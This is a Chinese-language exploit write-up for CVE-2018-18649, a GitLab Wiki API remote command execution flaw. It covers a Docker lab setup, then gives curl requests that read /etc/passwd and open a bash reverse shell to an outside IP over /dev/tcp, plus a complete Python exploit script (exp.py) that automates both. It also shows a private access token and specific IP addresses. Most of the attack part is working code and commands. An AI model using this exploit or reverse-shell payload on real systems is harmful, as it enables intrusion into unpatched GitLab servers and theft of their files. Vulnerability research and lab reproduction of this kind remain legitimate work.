Skip to content

Latest commit

 

History

History
290 lines (196 loc) · 9.11 KB

[snowming]-2021-8-15-Gitlab Wiki API 远程命令执行漏洞 (CVE-2018-18649).md

File metadata and controls

290 lines (196 loc) · 9.11 KB

0x01 环境搭建

title

本示例中使用 gitlab-ce:11.3.4-ce.0(注:ce 即 Community Edition)。

使用 docker 搭建漏洞环境:

screen -S CVE-2018-18649
docker pull gitlab/gitlab-ce:11.3.4-ce.0
docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22  gitlab/gitlab-ce:11.3.4-ce.0

然后修改配置文件:

docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb

# 去掉gitlab的注释并修改对应ip
external_url 'http://47.56.208.67/'
#重新载入配置文件
gitlab-ctl reconfigure

访问对应ip,第一次需要设置密码,并新建用户:

http://47.56.208.67/

新建一个 Access Token,获取 private_token:

title

title

注:验证 private_token的方式为: title

新建一个项目 test

title

所以现在的漏洞环境信息:

http://47.56.208.67

title

http://47.56.208.67/root/test/wikis/attachments

title


0x02 利用前提

这个漏洞需要 private_token 和身份认证,利用门槛高。

Access Token 在生成 Private Token 的时候,必须要在 Scopes 里面勾选了 api,否则 token 权限会不够!

title


0x03 漏洞利用

查看 /etc/passwd:

root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[filename]=123"  && echo

{"file_name":"123","file_path":"uploads/8ee12d5754d27f89306b51a80ccc612a/123","branch":"master","link":{"url":"uploads/8ee12d5754d27f89306b51a80ccc612a/123","markdown":"[123](uploads/8ee12d5754d27f89306b51a80ccc612a/123)"}}

root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/root/test/wikis/uploads/8ee12d5754d27f89306b51a80ccc612a/123 && echo

title

反弹 shell:

curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -XPOST -d 'file[filename]=123&file[tempfile]=%7c+bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f47.244.253.36%2f9999+0%3e%261%22' && echo

注: %7C+bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.56.208.67%2F9999+0%3E%261%22即为 URL 编码的反弹 shell 命令 | bash -c "bash -i >& /dev/tcp/47.56.208.67/9999 0>&1",注意这里一定需要管道符号来使用 Ruby 的Kernel#open函数产生子流程。

title

总结:

# 目标项目 URL
http://47.56.208.67/root/test

# 验证 Private_token
http://47.56.208.67/api/v4/projects?private_token=pyLXE32y3Ab6va9p6mAA

# /wikis/attachments restful 路径
http://47.56.208.67/root/test/wikis/attachments


# 查看 /etc/passwd 的第一个 API 请求,将在响应数据中获取 file_path 的值,用于构造查看 /etc/passwd 的第二个 API 请求
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[filename]=123"  && echo

# 查看 /etc/passwd 的第二个 API 请求,注意是 GET 方法
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/root/test/wikis/uploads/8ee12d5754d27f89306b51a80ccc612a/123 && echo

# 反弹 shell API 请求,必须用到项目路径
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -XPOST -d 'file[filename]=123&file[tempfile]=%7c+bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f47.244.253.36%2f9999+0%3e%261%22' && echo

# 其中的反弹 shell 命令,是经过 URL 编码的
%7C+bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.56.208.67%2F9999+0%3E%261%22

#明文命令是:
| bash -c "bash -i >& /dev/tcp/47.56.208.67/9999 0>&1"

0x04 自动化攻击脚本

exp.py:

#!/usr/bin/env python3
# -*- coding: utf-8 -*
# author:snowming

import os
import re
import json
import requests
from optparse import OptionParser
import urllib

# Parse command line args:
usage = '\npython3 exp.py -p <project_url> -t "<private_token>" -l <listener_ip> -p <listener_port>\n'\
        'python3 exp.py -p <project_url> -t "<private_token>" -f "/etc/passwd"                          # not single \' but double \"'

parser = OptionParser(usage=usage)
parser.add_option("-u", '--URL', dest='url', action="store",
                  help="Target project URL")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
                  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
                  help="Port on which nc is listening")
parser.add_option("-f", '--file', dest='file', action="store",
          help="The file you want to see, no reverse shell for you.")
parser.add_option("-t", '--token',dest='token', action="store",
          help="private_token")
(options, args) = parser.parse_args()

URL = options.url
# check if specify scheme for Project URL
if('http' not in URL):
    print('You should specify URL Scheme! e.g. HTTP')
    exit(0)

URL = URL.rstrip('/')

substr = '/'
'''
# used for the file_path, SAMPLE OUTPUT: /root/test
PATH = URL[URL.find(substr,URL.find(substr)+3):len(URL)].rstrip('/')
'''
#get the target domain or ip, SAMPLE OUTPUT: http://47.56.208.67
TARGET = URL[0:URL.find(substr,URL.find(substr)+3)].rstrip('/')

LHOST = options.lhost
LPORT = options.lport
FILE = options.file
TOKEN = options.token

if TOKEN == None or URL == None:
        print("Target project URL and Private token is required!")
        exit(0)
if LHOST == None and LPORT == None and FILE ==None:
        print(parser.usage)
        exit(0)

if FILE:
    tempfile = FILE
    # make request, using POST METHOD!
    url = '{0}/api/v4/projects/1/wikis/attachments'.format(TARGET)
    body = {
        'file[filename]': '123',
        'file[tempfile]': '{0}'.format(tempfile)
    }
    headers = {'private-token': '{0}'.format(TOKEN)}
    response = requests.post(url, data=body, headers = headers)
    #response_data = json.dumps(response.json(), sort_keys=True, indent=4, separators=(',', ': '))

    if("error_description" in response.json()):
        print("Fail! The reason is:")
        print(response.json()["error_description"])
        exit(0)
    file_path = response.json()["file_path"]
    # As fot the second layer,e.g. response.json()["link"]["url"]

    if file_path:
        print("\nSend Payload Success :) \n\nPath: %s" % file_path)

    # make second request using upload path data.
    file_url = '{0}/wikis/{1}'.format(URL,file_path)
    # WATCH OUT: It is not POST METHOD but GET METHOD!
    response = requests.get(file_url, headers = headers)

    print("\nContent: \n%s" % (response.text))
else:
    tempfile = '| bash -c "bash -i >& /dev/tcp/{0}/{1} 0>&1"'.format(LHOST, LPORT)
    '''
    URL encode. SAMPLE OUTPUT: %7C%20bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.244.253.36/9999%200%3E%261%22
    '''
    tempfile = urllib.parse.quote(tempfile)

    url = '{0}/api/v4/projects/1/wikis/attachments'.format(TARGET)
    body = "file[filename]=123&file[tempfile]=%s" % tempfile
    '''
    body = {
        'file[filename]': '123',
        'file[tempfile]': '{0}'.format(tempfile)
    }
    '''
    headers = {'private-token': '{0}'.format(TOKEN)}
    print("\nStarting Reverse Shell :)")
    requests.post(url, data=body, headers = headers)

参数说明:

  • -t 指定 Private Token
  • -f 指定要查看的文件,如 /etc/passwd
  • -l -p 指定反弹shell ip:port
  • -u 在指定攻击目标的项目URL!必须是项目URL!如下图:

title

示例用法:

查看 /etc/passwd:

python3 exp.py -u "http://47.56.208.67/root/test/" -t "pyLXE32y3Ab6va9p6mAA"  -f "/etc/passwd"

title

反弹 shell:

python3 exp.py -u "http://47.56.208.67/root/test/" -t "pyLXE32y3Ab6va9p6mAA" -l 47.244.253.36 -p 9999

title

本 exp 已上传至 Github: CVE-2018-18649


参考文档:

  1. Gitlab WIKI API
  2. 漏洞原理:Gitlab Wiki API 远程命令执行漏洞 (CVE-2018-18649),知道创宇
  3. Gitlab API:
  4. 漏洞信息:https://nvd.nist.gov/vuln/detail/CVE-2018-18649
  5. 本 exp 已上传至 Github: CVE-2018-18649